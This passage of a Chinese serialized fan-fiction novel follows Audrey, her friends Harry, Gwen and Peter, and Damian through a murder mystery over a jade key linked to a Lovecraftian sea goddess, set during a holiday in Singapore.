奥德莉一愣。那块痕迹她之前竟然完全没注意到，而拍给达米安的照片又因为角度问题恰好错过了这个细节，他也没有发现。 她立刻凑近去看，不太确定地说：“可能是吧。我拍一张照片。” 哈利在一旁看着，忽然出声：“你能看懂文字，这个却不确定？” “我……我学艺不精嘛。”奥德莉耍赖道，一边对着玉佩又多角度狂拍数十张照片，唯恐再有什么遗漏。 第84章 “我联系律师，明天陪你去向警方提供信息，这枚玉佩也一并交给警方。”…… “我联系律师,明天陪你去向警方提供信息，这枚玉佩也一并交给警方。”哈利果断决定。 “好的。”奥德莉没有异议。 哈利又问格温和彼得：“你们有注意到什么可疑的情况吗？” “没有。”两人齐齐摇头。 “好了，大家先休息吧。”哈利站起身,和彼得离开了。 格温把奥德莉推向浴室,催促道：“快去洗漱睡觉。” 奥德莉洗完澡,草草吹了几下头发就想往床上倒。格温看不过去，把她拉起来，帮她把头发彻底吹干。 奥德莉转过身,亲昵地抱住格温的胳膊：“你真好。” 格温挑眉，故作不满地道：“怎么，你才发现吗？” 奥德莉笑嘻嘻地说：“好久没有和你一起过夜了嘛，差点要忘记了。” 格温立刻识破奥德莉的用意,打个哈欠,说：“我太累了，今晚可不会陪你枕头大战。” “好吧。那改天再玩这个。”奥德莉钻进被子里。“晚安。” 像小时候那样,格温亲了亲奥德莉的额头：“晚安。” 奥德莉醒得很早。她揉了揉眼睛，回忆起昨晚的事，想起还没告诉达米安最新进展。她拿起手机后,却发现达米安已经给她留言了：“文森特魏死了。” 她侧头看看另一张床上的格温,对方还在沉睡。奥德莉蹑手蹑脚地走出卧室，关上门，在客厅拨通了达米安的视频通话：“我听说了，昨天哈利就是来告诉我们这件事的。上午我要去警局提供信息。” “把丹尼尔李的相貌描述给警察，帮他们绘制一幅肖像？”达米安问。 “嗯。还有玉佩,我想他们会物归原主的,虽然我并不知道这个‘原主’究竟是谁。” “我查了一下文森特的聊天记录。他一直在通过一个加密通讯软件和客户联系，最近联系最频繁的就是丹尼尔。文森特试图劝说丹尼尔把家族的珍宝偷出来卖给他,他负责制造赝品交给丹尼尔，以供后者偷梁换柱。” “哇，真是家贼难防。那这个玉佩是丹尼尔从家族藏品中偷出来的？” “很有可能是其中一件。他们一直称呼那些东西为‘祖藏’。” 奥德莉低声念出这个词，皱起眉头：“听起来像是有特殊含义。” “我也觉得不只是普通的古董。”达米安点开一张截图，“丹尼尔说‘李家这几年的运势都是因这些祖藏而衰落，我必须赶紧把它们处理掉’。” 奥德莉疑惑道：“他是在说祖藏带来了厄运？可这东西在他们家族已经流传了几百年了吧。” “也许只是他的心理作用。他不止一次提到‘厄祸缠身’、‘梦魇不散’这些词。”达米安听起来像是对此半信半疑。“文森特一直怂恿丹尼尔把祖藏交出来，说可以用仿品替换，‘既可避祸，又能获利’。” 奥德莉说：“文森特有这么高尚吗？我觉得他真正的目的就是那些东西本身。” “或者是他背后主使的目的。”达米安补充。 “听起来他们各取所需，为什么会吵架呢。”奥德莉想不通。“哦对了，玉佩上还有一处刻痕，昨天没发给你。帮我翻译一下。” 作为勤勤恳恳的场外支援，达米安在收到照片后立刻给出答案：“这是数字三。” “那如果它是钥匙的话，可能需要几把钥匙一起才能开门，或者它开的是第三扇门。”奥德莉说。“如果另外几把钥匙不在李家的祖藏中，那是不是说明还有其他家族会被牵扯进来？” “我还在分析文森特的聊天记录。他的人际圈子太广了，需要时间才能查完。”达米安说。 “我该怎么跟警察说？”奥德莉捂住额头。“他们会不会以为我疯了。” “这些只是我们的推断，没有必要告诉警察。”达米安很随意地说，完全不认为这有什么问题。 “可我担心有人在策划一个大事件，天知道他们又要招惹哪些不该惹的，说不定会把全人类都拖下水。”奥德莉气呼呼地说。“但我过几天就要离开了，而他们的计划可能还要筹备一阵子。” “亚洲有密大的校友吗？”达米安提醒道。 “好主意！我这就联系学校。”奥德莉之前没想到这一点，因为她潜意识里把自己当成身在国外的局外人，却忽略了校友网络的存在。“你要是发现了什么新线索，随时联系我。” “等一下。”在奥德莉准备挂断电话前，达米安突然出声阻止了她，叮嘱道：“注意安全。” “放心吧。这次我可是和家人朋友一起来旅行，不会冒险的。” 早饭后，奥德莉和哈利前往警局，彼得和格温则陪着家长们出去闲逛。有哈利在，奥德莉的父母很放心，什么也没问。 “你看起来过于靠谱稳重了。”奥德莉吐槽哈利。“我爸妈居然一点都不担心我们是去做坏事。” “因为从来都是彼得无条件地帮你掩护，我是劝阻你不要胡来的那个。”哈利得意地说。 “你是假装劝阻我的那个，实际上真要做什么恶作剧的时候，你比我还积极。”奥德莉毫不客气地戳穿。 哈利的嘴角翘了翘，算是默认了奥德莉的说法。 离开警局后，奥德莉靠在后座上查看邮箱。皮斯利教授已经回复，说他联络了当地的一位校友，询问奥德莉晚上是否有空和对方一起吃个饭，并附上了校友的联系方式。 奥德莉当然是立刻答应下来，然后告诉哈利：“晚上我约了人一起吃饭。” 哈利一脸诧异：“达米安还专程飞过来陪你吃饭？他知道我们很快就回美国了吧？” “你在说什么啊！”奥德莉因为哈利的脑洞而目瞪口呆。 “我随口猜的，”哈利耸耸肩，“毕竟你连旅游的时候都会跟他视频聊天。” “我是有正事找他！又不是没事找他聊天。”奥德莉赶紧辩解。“我今晚约的人是密大校友！陈女士是新加坡人，二十多年前毕业的，在外游历几年后，决定回来继承家业。” 哈利神情严肃起来：“你临时约了人，不会是为了打听那枚玉佩的事吧？已经有一个人因此而死了，我不希望你被牵扯进去，更不希望你主动参与。” “不会的，我真的没有打算掺和进去。”奥德莉连忙解释，“你看，玉佩我已经交给警方了。” 她努力让语气听起来轻松一点：“我只是有点担心这件事还有后续，所以才想请陈女士帮忙留意。” 哈利皱着眉头沉默片刻，依旧不太放心地看着奥德莉。最后他叹了口气，说：“有任何情况，第一时间告诉我。听到了吗？钱不是问题。” “如果真有情况，恐怕也不是钱能解决的问题。”奥德莉小声嘀咕。 哈利听得一清二楚，露出更担忧的神色，伸手按了按奥德莉的肩膀，说：“向我保证，你不会乱来。” “我保证。”奥德莉认真地说。 车里的气氛有些凝重。哈利清了清嗓子，努力把话题引向轻松的方向：“所以你和达米安……在离开哥谭之后，还继续保持联系？” “对啊。他又不是哥谭专属NPC，离开特定地点之后，我就联系不上他了。”奥德莉半开玩笑地说。 “我以为一直是他主动联系你。”哈利说。 奥德莉愣了一下，诧异地说：“我还以为你觉得他人不错呢。” “我对他的了解极其有限，不足以做出评价。”哈利有点冷淡地说。“不过他父亲是著名的花花公子，养子养女多得连小报记者都数不过来。” 哈利的这种评价代表了外界对布鲁斯韦恩的普遍看法，奥德莉对此无话可说，只能装傻，反问道：“韦恩先生是什么样的行事风格，和达米安有什么关系？” “你说呢？”哈利盯着奥德莉，不允许她明知故问。 奥德莉不甘示弱地反驳道：“可你之前明知道我和他一起玩，也没有什么意见呀。” 哈利叹了口气，摸了摸奥德莉的头，语气软了些：“你在哥谭实习，和当地朋友一起玩很正常。但我很惊讶你们仍然有联系。不要傻乎乎的。” 奥德莉很想为达米安再辩解几句，但思来想去，最终只是弱弱地说：“我才不傻。而且我*的警惕心很强的。” “你对我确实是。”哈利想起过去，笑了笑。 奥德莉和彼得在五岁时认识。那时彼得的父母刚刚遭遇事故，他被梅姨和本叔领养，从此与奥德莉成了邻居和同学。他们在同一所小学读书，彼得性格温和腼腆，奥德莉则更活泼强势。 六年级时，两人一同升入初中。彼得和哈利熟络起来，奥德莉则和格温成了朋友，四人渐渐组成了一个亲密的小团体。起初，奥德莉对哈利抱有些许警惕，觉得这个总是穿得一丝不苟、说话带着几分高傲的男孩会把彼得当成跟班使唤。但随着相处的时间增加，她发现哈利虽然全身上下散发着霸道总裁的气质，但在关键时刻却总是会照顾他们，很多事想得比他们更周到。 而且，从始至终，哈利对奥德莉都十分包容。他察觉到了她最初的排斥，却从未与她针锋相对，更没有试图强行融入。渐渐地，奥德莉收起了戒心，习惯了他的存在，也悄然接受了他的偏爱，尽管起初她觉得这份好意来得莫名其妙。 哈利的思绪从回忆中飘回现实，目光落在正透过车窗好奇张望的奥德莉身上。他了解她——那个六年级时连他都提防了好几个月的奥德莉，绝不可能在短短两个月里就和达米安熟络到这种程度。 哈利越想越觉得不对劲，把这件事列入了自己的重点关注事项。当然，是悄悄地关注，免得惹恼奥德莉。 第85章 帕特丽夏陈年近半百，看起来却像刚刚步入盛年。她的年轻感并非来自医…… 帕特丽夏陈年近半百,看起来却像刚刚步入盛年。她的年轻感并非来自医美或妆容，而是一种从内而外散发出的活力。 她的披肩长发自然垂落，柔顺如丝。修长的颈项上戴着一串光泽极美的珍珠项链,每一颗珍珠都圆润饱满,显然价值非凡。 “皮斯利教授对你赞誉有加。”帕特丽夏热情地说。“我也跟着他实习过,那时他刚在密大任教，已经是一位很资深的探险家了。” 奥德莉又听帕特丽夏讲了一些她的冒险故事，越发觉得对方是很潇洒不羁的性格,忍不住好奇地问：“您现在是退休状态吗？会不会怀念以前的生活？” 帕特丽夏爽朗地笑起来，连眼角的细纹都散发着魅力：“我只是想趁父母还在的时候多陪陪他们。至于退休，调查员哪有真正退休的？在听到使命或好奇心的召唤时，我们总是会毫不犹豫地再次出发。” 奥德莉会心一笑,又听见帕特丽夏继续说：“东南亚有许多古老的遗迹和流传至今的传说。在纯粹的西方文化视角下,由于对当地文化缺乏理解，很多人是无法真正读懂它们的。就像当年英国人在埃及的考古——他们固然学识渊博,却总是忍不住用自己的框架去解读异域文明。现在对我来说是一个难得的机会，我希望能更深入地了解东南亚的无形之术，以及它背后的文化与思维方式。” “您说得很有道理,我也注意到东南亚历史悠久,文化多元且深厚，却经常被西方的研究者忽略。他们往往只是在某个故事中对其一笔带过，或者将研究重点放在殖民者留下的影响上，而忽视了本地人的信仰、仪式和传统。”奥德莉认同道。 帕特丽夏说：“没错，这些珍贵的资料如果失传就太可惜了。我想写一本书,系统地将它们记录下来。” 奥德莉立刻说：“我很期待拜读。” 两人相谈甚欢,直到餐后水果被端上来，帕特丽夏才想起去问奥德莉联络她的原因。 奥德莉把已知的信息告诉了帕特丽夏,没想到后者并不惊讶，而是说：“其实我家里也传下过一枚玉佩，上面的数字为五。你的猜测没错，这是一个很古老的传闻，据说集齐五枚玉佩便可以打开被封印的地点。” “那您知道是哪里吗？”奥德莉激动地问。 “马鲁古群岛。”帕特丽夏说，毫不意外地看见奥德莉的眼神中露出茫然，耐心地为奥德莉介绍起历史。 马鲁古群岛位于印度尼西亚东部海域，因盛产丁香、肉豆蔻和豆蔻等珍贵香料被誉为“香料群岛”。数百年来，它是连接东西方贸易的重要枢纽，吸引了无数航海者与殖民者的目光。 十六世纪，葡萄牙人最早抵达并试图掌控群岛，但随后的一个多世纪中，西班牙、英国与荷兰加入了激烈的争夺。最终荷兰胜出，将马鲁古群岛纳入其东印度公司体系，并实施严酷的殖民统治。 群岛由上千座大小岛屿组成，地理环境复杂而分散。在殖民者到来之前，岛上居住着以美拉尼西亚人为主的土著居民。他们拥有深厚而多样的文化传统，信仰体系融合了原始泛灵信仰、海洋崇拜与祖灵祭祀。 然而，殖民者为美拉尼西亚人带来了毁灭性的冲击。由于战争、疾病与强制劳役，美拉尼西亚人的数量急剧减少。到了荷属东印度时期，大批马来西亚移民迁入群岛，伊/斯/兰教随之传播开来，随后又有基督教传教士到来。土著居民的信仰逐渐退居边缘，许多古老的仪式与语言在历史的洪流中被湮没。 “尽管这样的事情在大航海时代并不罕见，但每次听到时，我还是会感到愤怒与悲哀。”奥德莉语气沉重地说。 帕特丽夏的神色也颇为凝重。她轻轻点头，又继续讲述起自己的家族与群岛的渊源。 “我的祖先原是中国的商人，为躲避战乱于十五世纪末随船南下，辗转来到南洋。几代人后，他们在马鲁古群岛落地生根，并与当地人通婚。” 奥德莉不由自主地打量起帕特丽夏的面容。那张脸似乎融合了多种族裔的特征，却又难以归类。她不是人类学家，无从分析其中的血统线索，只能凭直觉将她归入“亚裔”这个宽泛的范畴。 “我的祖先从土著巫师那里得知了他们对海神伊沙尔纳露萨的信仰。美拉尼西亚人将其尊称为‘潮汐之母’。”帕特丽夏简要地讲述着。“据说，凡人只能感知到其投影，那是由触手、鱼眼和巨大浪花组成的一团奇异的存在。当祂在潮声与梦境中发出呼唤时，一些子民的血脉会被唤醒，鳞片悄然在他们的皮肤上生长，预示着他们终将回归海中。” “这听起来有点耳熟……”奥德莉沉思片刻，终于反应过来，“这不就是深潜者的故事吗？” H.P.洛夫克拉夫特在《印斯茅斯镇之阴影》中记录了深潜者这一具有鱼类特征的类人种族。他们拥有悠长的、几近永恒的寿命，信奉首领父神大衮、母神海德拉以及克苏鲁。在全球各地的海域中，他们城市的踪迹隐隐可见。那些奇特的水下建筑、巨大的石质工艺品和模样奇怪的珠宝在民间故事中经常被提及。 在马萨诸塞州沿海小镇印斯茅斯，洛夫克拉夫特发现该镇居民大多面容奇怪、举止怪异。深入调查之后，他发现居民的祖辈与深潜者通婚以换取财富与捕鱼资源。人类与深潜者之间可以生育后代，这些混血后裔中的一些人会逐渐变异，在完全变成深潜者的模样后回到大海，永远与人类世界告别。 “确实有些相似，但美拉尼西亚人身上的变异症状和深潜者不一样。所以我倾向于认为伊沙尔纳露萨是另一位旧神。”帕特丽夏说。 “现在还有身上带着变异迹象的美拉尼西亚人吗？”奥德莉问。 她之所以这样问，是因为自从二十多年前开始，调查员们便再也没有遇到过明显处于变异阶段的深潜者后裔。那些有着青蛙般面孔的、处于“过渡阶段”的个体，仿佛一夜之间都从地面世界消失了。没人知道究竟发生了什么，也许那些注定要完成转化的个体全部都回应了呼唤、回归了深海，而留下的则是那些血脉早已稀释、不再会发生变异的后裔。 “已经几个世纪没有再出现过了。”帕特丽夏轻轻摇头。“事实上，那正是玉佩诞生的年代。面对殖民者的欺辱和压迫，美拉尼西亚人苦不堪言，就在那段时间里，已显露出变异征兆的人在梦中听见了伊沙尔纳露萨的召唤。” “伊沙尔纳露萨没有办法帮他们对抗殖民者，只能带他们逃离尘世的痛苦吗？”奥德莉喃喃地说。 帕特丽夏叹了口气：“他们响应了‘潮汐之母’的呼唤，离开了陆地，奔赴那座位于未知深海的神殿。据说那里有温暖的海水与永恒静默的黑暗。” 奥德莉也叹了口气，不知道该说些什么。那些人的选择听起来像是逃避，又像是一种解脱。她只能希望他们获得了自己想要的宁静与庇护。 帕特丽夏讲完往事，又把话题拉回到玉佩上：“在离开之前，为了给未来可能变异的后人留下一条归途，他们准备了五枚玉佩。它们是通往神殿的钥匙，只有已经发生变异的人才能使用。” 奥德莉忽然冒出一个念头，脱口而出：“那如果一个人发生了变异，却没有集齐五枚玉佩，会发生什么？” 她本是随口一问，却敏锐地察觉到帕特丽夏的神情僵硬了，但仅仅一瞬又立刻恢复沉着。奥德莉几乎以为是自己眼花了。 帕特丽夏说：“最初，五枚玉佩都被托付给了我的家族。可惜，代代相传，总会有贪婪之人将玉佩据为己有，甚至转手卖出。如今，五枚玉佩竟只剩下一枚还在我们家流传。” “那幕后之人急着集齐五枚玉佩，是不是因为他已经发生了变异？如果再拖下去，那个人会不会有生命危险？”奥德莉再次问道。 如果只是为了收藏，玉佩的历史和经济价值都不足以引发杀机。而眼下有人如此迫切，显然背后隐藏着不得不为的原因。 “我不知道。”帕特丽夏的声音渐渐低了下去，“也许，那个人会被无尽的召唤声逼得发疯，也许会彻底变成全身覆盖鳞片的怪物……谁知道呢。” 饭后，两人乘电梯下楼。电梯内三面镜子环绕，空间宽敞，奥德莉却亲昵地凑近帕特丽夏，带着几分天真地赞叹道：“您的项链真美。” 帕特丽夏轻笑着，顺手拨了拨发丝。恰在此时，奥德莉望向对方身后的镜面，眼角捕捉到一抹异样的光芒。 那并非珍珠的柔和光泽，而是冷冽冰凉的光芒。是帕特丽夏脖颈后隐约露出的鳞片在灯光下闪着幽冷的光。 奥德莉心跳如鼓，却强自保持镇定，面带微笑与帕特丽夏在饭店大堂道别。直到坐上回酒店的车，她才终于悄悄吐出一口气。 “奥斯本先生在请大家吃宵夜，让您回去后直接去他的房间。”司机转达哈利的信息。 “谢谢。”奥德莉答应着，下车后便直接去了哈利的房间。推开门，她看见大家已经围坐在一起，热闹地享用着宵夜。 约翰和莉莉对奥德莉挥手，说：“快来。” 奥德莉明明才刚吃过晚饭，但看到一桌子的特色美食，眼睛立刻亮了，像闻到香味的小狗一样欢快地跑过去。 “我们刚才还在说，你回来可能要嚷嚷着先出去跑五公里，然后再回来吃。”格温正在夹小笼包，见奥德莉这副模样，不由失笑。“没想到你还有胃口立刻坐下来开吃。” 奥德莉刚才受了惊吓，感觉吃的晚餐被恐惧消耗殆尽。她拿起一串烤鸡翅，故作轻松地说：“我对美食永远不会拒绝。” 坐在亲人和朋友中间，听着彼得絮絮叨叨地说着白天的趣事，其他人时不时插上一句，笑声此起彼伏，奥德莉终于感觉心里的阴影散去。 第86章 夜宵之后，大家各自回房间休息。进屋后，格温带着一点促狭的笑意问奥德…… 夜宵之后,大家各自回房间休息。进屋后，格温带着一点促狭的笑意问奥德莉：“今晚是不是也要打电话？” 奥德莉坦坦荡荡地点头：“确实要打，我得赶紧交换一下案件信息。” 格温听了这回答,笑容微微一敛,语气也认真起来：“你不会有什么危险吧？” “应该不会吧。”奥德莉想了想,坚决地说：“接下来几天我要远离是非，专心玩耍。我可是来度假的。” “对了，明天去环球影城,哈利为大家准备了T恤。我把它们放在沙发上了。”格温说。 “这么有仪式感？”奥德莉惊喜地说，“我们也不是第一次一起出去玩了啊。” 她兴冲冲地跑到沙发边，将衣服展开来看。白色的T恤上印着身穿背带裤的斯图尔特、凯文和鲍勃。 “小黄人，真可爱。”奥德莉顺手举起果盘里的香蕉,模仿卡通里的语调高呼：“Banana！” 格温立刻配合地唱起那首洗脑的香蕉之歌：“Ba-ba-ba-ba-ba-nana~!” 奥德莉也跟着加入,两人一边唱一边笑。 “我先去洗澡了，你不要聊到太晚啊。”一曲作罢,格温叮嘱道。 “好的。”奥德莉举起三根手指保证。 她先召唤了布莱克。圆脸黑猫跳到奥德莉的腿上，尾巴在身体边围成一圈，关切地问：“和校友见面怎么样？” “一言难尽。”奥德莉捏了捏布莱克柔软的耳朵,说：“我正要找达米安说这件事,你在场我就不需要讲两遍了。” “你是说，给我讲这件事，让他旁听吗？”布莱克按照自己的心意解读了奥德莉的话。 “你可以这么理解。”奥德莉偏心眼地说。 布莱克显然对“被优先告知”的待遇十分满意，全身上下散发着自信和高傲。它得意地看着奥德莉给达米安发信息：“有空吗？” 达米安立刻打来视频通话：“你今天过得怎么样？” “又是不可思议的一天。”奥德莉说。“你呢？” “我查了文森特魏的所有聊天记录，列出了几个可疑的人。” “辛苦你了。让我猜猜,其中是否有一位叫帕特丽夏陈的女士？” 达米安说：“没错,帕特丽夏是他的大客户之一。我查过了，她是密大毕业的。”他顿了一下,说：“不会这么巧吧？她是你联系到的当地校友？” 奥德莉苦着脸点头：“就是这么巧。教授帮我联系的，我今天刚和她一起吃了晚饭。如果不是最后的惊悚发现，我们相处得还挺愉快的。” 她把自己从帕特丽夏那里听到的故事讲了一遍，从潮汐之母伊沙尔纳露萨的传说，到那些在梦中听见召唤、沉入深海的美拉尼西亚人，再到五枚玉佩的来历。最后，她讲了自己在电梯中看到的帕特丽夏后颈的鳞片。 奥德莉的声音中透着纠结和挣扎，仿佛是在抗拒一个她不愿相信的可能性：“你说，会不会是帕特丽夏杀了文森特？” 帕特丽夏热情地接待她，温和地讲述历史，言语中带着智慧与悲悯；在电梯里，她温柔地笑着回应奥德莉对项链的夸赞。可帕特丽夏越是亲切，奥德莉越觉得不寒而栗。 如果这一切都是无懈可击的伪装呢？如果帕特丽夏讲述历史只是为了试探甚至情感操纵自己呢？ 达米安冷静地说：“从聊天记录来看，帕特丽夏雇佣文森特帮她查找另外几枚玉佩的下落，愿意出高价购买。她在几年前和文森特打过交道，对他的能力很认可。她没有理由去杀文森特。现在他死了，她反而得重新再找一个掮客，不仅耽误时间，还增加风险，毕竟知道此事的人越少对她越有利。” 奥德莉被达米安的冷静情绪安抚了，但还是不确定地问：“如果文森特知道了帕特丽夏收集玉佩的真实原因呢？她会不会杀人灭口？” “我觉得不会。”达米安很果断地说，然后解释道：“文森特知道了又能怎么样，威胁她的名声吗？可就算他说出去，又有谁会相信？大家只会认为文森特在胡说八道，还可能吓跑他的其他大客户。” “你说的有道理。”奥德莉终于露出释然的神色，“假如事情真是这样，我倒是安心了不少。她想自救也是人之常情，只要她不伤害别人，我并不想妨碍她。如果她真的没法打开通往神庙的门，被迫滞留在陆地上，她的结局恐怕不会太好。” 达米安此刻却成了态度悲观的那个人，神色严肃地提醒道：“但你要知道，在这种生命危急、时间紧迫的情况下，人很难一直保持理智。就算这次她不是凶手，随着时间一天天流逝，她也可能会走上歧途；而如果帕特丽夏真的是凶手，那你就得更加小心了。她或许已经察觉到你在电梯里的小动作，可能会毫不犹豫地铲除任何挡她路的人。” “是啊。反正她回归海洋之后，人类的法律也没办法惩罚她了，在那之前她需要考虑的只是如何不被抓到，而不是遵守法律和道德。”奥德莉叹了口气。“我在电梯里的表演确实有点浮夸，当时我只是想碰碰运气，没想到真的看到了鳞片。” “如果帕特丽夏再约你见面，你不要直接过去，先联系我，我们做一些准备。”达米安提醒道。 “我明白。她已经知道我这次假期只有短短几天，如果她再约我一次，那基本说明她十分可疑。”奥德莉点头应下。 她看着通讯另一侧的达米安，期待地问：“你觉得警方需要多久能破案？我真的很想知道真相。” 达米安不想让奥德莉抱有不切实际的期待：“这个案子表面看起来简单，但缺少很多关键证据。文森特死在宴会的男卫生间，死因是失血过多，被人捅了几刀。奇怪的是，他似乎没有发出什么声音，因为发现他的是宴会之后去打扫的清洁工，而不是其他客人。” “能查看那段时间的监控，看看都有谁去过吗？” “我第一时间就查过了，宴会场内根本没有摄像头。” “好吧，大概比起自己的安全，有钱人更在乎保护自己的隐私。”奥德莉无奈地说。“和你聊过之后，我现在更迷茫了。我似乎知道了一些线索，却都模棱两可，根本无法得出结论，或者说哪种结论都能自圆其说。” 达米安说：“就算是福尔摩斯，也需要大量的调查才能得出结论，哪能仅凭一条线索就破案的。” “而且他在调查的过程中，也不断修正自己的初步结论。”奥德莉接话。“看来我只能耐心等待了。” 两人又聊了几句闲话才挂断通讯。达米安的脸刚从手机屏幕上消失，布莱克就从奥德莉的腿上跳起来，坐到她对面。 “怎么了？”奥德莉有点吃惊地问。 “你忘了猫猫侦探了吗？”布莱克语气中带着点小小的抱怨。“我可以帮你去调查帕特丽夏啊，她走到哪里我就跟到哪里。” “绝对不行。”奥德莉立刻坚定地拒绝了。“帕特丽夏不是普通人，她是经验丰富的调查员，还可能有旧神血脉。我不确定她会不会有什么方法察觉到你，甚至是看到你。” “我不怕呀。”布莱克抗议道。 “但是我会害怕。”奥德莉很直白地说。“我不能失去你。” 布莱克感动得眼泪汪汪，正准备把泪水和鼻涕一起蹭到旁边的T恤上，被奥德莉眼疾手快地拦住了。 奥德莉一边说着“不行不行，这两件衣服是我们明天要穿的。来，用纸巾”，一边把纸巾盒塞到布莱克的爪子上。 捧着纸巾盒，布莱克抽噎得更厉害了：“衣服重要，还是我重要嘛？” 奥德莉看着可怜兮兮的布莱克，想笑又怕它哭得更厉害，故作犹豫地说：“衣服是哈利给的。” 她已经发现布莱克对哈利的态度就像普通人类对钞票的态度一样，在不违反基本原则的前提下，总是悄悄地偏爱和谄媚几分。 “哦，那好吧。”布莱克果然不再纠结，麻利地把自己湿漉漉的脸埋进纸巾盒里。它闷声闷气地说：“那我去警察局跟着办案警察怎么样？看看他们有什么新线索。” “有新线索的话，达米安会告诉我的。”奥德莉怜爱地摸了摸布莱克的头。“谢谢你想要帮我，如果我想到什么事情需要你帮忙，我一定会拜托你去做的。但在那之前，答应我不要做什么，好吗？” “好吧。”布莱克终于抬起头，绿眼睛中还带着水汽。“那你需要我的时候，一定要告诉我。” “我们击掌作为约定。”奥德莉认真地说。 一人一猫分别举起手和爪子，轻轻抵在一起。 “好啦，我要去休息了。明天带上你一起去玩。”奥德莉说。 布莱克“喵呜”地叫了一声，消失了。 第87章 晚上，奥德莉又一次和达米安视频交换信息。达米安获得了警方对丹尼…… 晚上,奥德莉又一次和达米安视频交换信息。 达米安获得了警方对丹尼尔李的讯问结果。丹尼尔承认自己用文森特魏提供的高仿伪品将几件祖上传下来的藏品调包，并将真品卖给文森特。在文森特的专业分析和心理引导下，丹尼尔一度深信所谓“祖藏”是厄运缠身的根源。 然而几天前,一位朋友为丹尼尔介绍了一名据说精通风水命理的大师。那位大师为他在祖宅进行了一场化煞祛邪的仪式,仪式之后,丹尼尔的精神状态明显好转。临走前，大师叮嘱他要好好保管“祖藏”，不得轻慢亵渎。听了这话,丹尼尔顿时产生了悔意，并冒出了新的恐慌，生怕祖宗降下惩罚。 正因如此，丹尼尔不愿再将其它“祖藏”卖给文森特,但文森特不肯接受他的毁约。在发现文森特对那枚玉佩的执念远超其它藏品时,出于贪念，丹尼尔开出了一个远高于最初约定的金额。两人在宴会上的最后一次见面时爆发了激烈争执,文森特情绪失控，说出一些近乎诅咒的恶毒话语。丹尼尔对这类言辞极为敏感，慌乱间仓皇离开,之后才发现玉佩不见了。 “你相信他的话吗？”奥德莉问达米安。“听起来他是一个缺乏主见的人,贪得无厌又没什么手段。我不觉得他有胆子杀人。” “我也这样认为。”达米安说。“警方没有将丹尼尔列为主要嫌疑犯。他们发现文森特有不少仇人，因为他时常会用不光彩的手段购买别人的藏品。” “那这个大师呢？他是真大师、一个骗子、还是特意来给帕特丽夏捣乱的第三方？” “我查了他的资料，他是泰国人，在当地颇有些名气。看不出他和帕特丽夏有什么关联，除非他背后另有主谋。” “这个问题留给帕特丽夏去操心吧。”奥德莉自暴自弃地说。“我越发觉得这是一场狗咬狗、黑吃黑的闹剧。我很乐意看到坏人互相坑害,产生自然损耗。” 达米安对于奥德莉“自然损耗”的讽刺不做评价,只是说：“希望这件事别太影响你的度假心情。” “我尽量不去想它。除此之外，我这几天过得十分惬意。”奥德莉仍穿着卡通T恤,盘腿坐在沙发上捧着一个椰子喝。这已经是今天通话期间她喝的第二个椰子了。“这里的榴莲和山竹都是我吃过的最新鲜的。” “我毫不怀疑你之后会经常去吃。”达米安笑起来。看到奥德莉还有心情吃吃喝喝，他觉得安心不少。“白天玩得开心吗？” “好像回到了高中时代。”奥德莉笑嘻嘻地说。 尤其是哈利，当他穿上小黄人T恤、再戴上一顶棒球帽时，任谁也看不出这是奥斯本集团的现任总裁。可能因为有非常熟悉又真心关切他的长辈在，哈利久违地表现出一点孩子气。 “我还以为你们晚上会出去玩。”达米安说。现在新加坡才刚刚傍晚。 “大家都累了，决定回酒店叫客房送餐。我打算去做个spa，放松一下。”奥德莉伸个懒腰。“保持联系。” 达米安盯着被挂断的通讯界面，皱起眉头，不太高兴地嘀咕：“说完事就跑，啧。” 奥德莉和格温做完按摩后，拉上彼得一起吃晚饭，吃饱喝足后又出门溜达了一圈。三人拎了不少零食回酒店之后，辛苦工作的哈利才回来。 萨维林先生出于好意，又一次为哈利引荐了几个华人富豪家族。哈利换上西装去参加社交酒会，明知小伙伴们正在酒店吃喝玩乐，心里难免有点浮躁。 就在酒会进行到一半时，马克扎克伯格竟忽然出现了。在场所有人都大为意外，尤其是与扎克伯格多年未见的萨维林先生。 回到酒店后，哈利一进门就松开领结，疲倦地倒在沙发上，看着奥德莉像一只勤劳的小蜜蜂一样给他端来食物。格温和彼得正在房间另一边整理当天拍的照片。 “我现在看起来一定很凄惨，不然你不会忽然这么殷勤服务。”哈利郁闷地说。 “发生了什么？”奥德莉没否认，把一只插好吸管的椰子塞到哈利手里，自己也捧着一只喝起来。 “扎克伯格先生忽然来了，穿着与现场格格不入的休闲衣服，脚上踩着拖鞋。萨维林先生的脸色当场就变了。”哈利描述着现场的情景。“该怎么形容呢，嗯，就好像没有打麻药在做开胸手术那么苍白。” “这是什么可怕的比喻。”奥德莉撇了撇嘴。“他为什么突然来新加坡？他不是派你去牵线搭桥……哦不，调解关系吗？” “他不知道从哪里获得了错误消息，以为萨维林先生有人身危险。可能是宴会上死人那件事被传走样了吧。” 奥德莉若有所思地说：“说不定是有人故意刺激扎克伯格先生，让他别再躲在幕后使唤别人。想和好，就应该亲自出面嘛。” 哈利有点幸灾乐祸地笑起来：“他看起来锐气十足，不算很有礼貌，但萨维林先生能管得住他。也多亏他的到来，今晚的酒会提前结束了，不然我现在还得在那里应酬。后半场尴尬得要命，只要长眼睛的人都能看出来他们之间的气氛有多么僵硬。” “你说得我都好奇起来了，恨不得能在现场围观。”奥德莉的思绪不自觉飘远，想起自己在网上读到的八卦，比如玻璃上写公式、加州夜雨、百万会员夜怒砸电脑等等。 “对了，今天我还见到了你的一位校友。她自我介绍是在美国读的书，聊了几句才发现这么巧。她叫帕特丽夏陈，就是昨天和你一起吃晚饭的陈女士吧？” “是她。”奥德莉立刻被唤回现实，紧张地问。“你们的见面是事先安排好的还是临时决定的？她有没有提到我？” “原本要见的是她的堂哥，但陈先生突然不舒服，她才替他出席的。她没有提到你。”哈利警觉起来，意识到奥德莉的反应不正常，问道：“你不喜欢她？她有问题？” “疑似有问题。”奥德莉说。“她是文森特的客户，委托他寻找另外几枚玉佩，我捡到的那枚是其中一个。” “你怀疑她和文森特的死有关？” “只是怀疑，但没有证据。”奥德莉没想到哈利会和帕特丽夏有交集，简要地讲了她的发现和分析，然后说：“我觉得她是因为我而盯上你，想威胁我不要对外乱说。” 哈利脸色紧绷，想批评奥德莉太莽撞，但看到她满脸的担忧，又不忍心发火。最后他揉了揉眉心，自嘲地说：“我是不是在你们那个世界被打上了‘威胁奥德莉专用’的标签？” 听到格温忍不住笑出了声，哈利委屈地望过去，说：“嘿，能不能有一点同情心？” 格温安抚地说：“我认为帕特丽夏只是想给奥德莉一个警告，不会真的对你做什么。如果她习惯用杀人解决问题的话，直接把我们全干掉不就行了。” 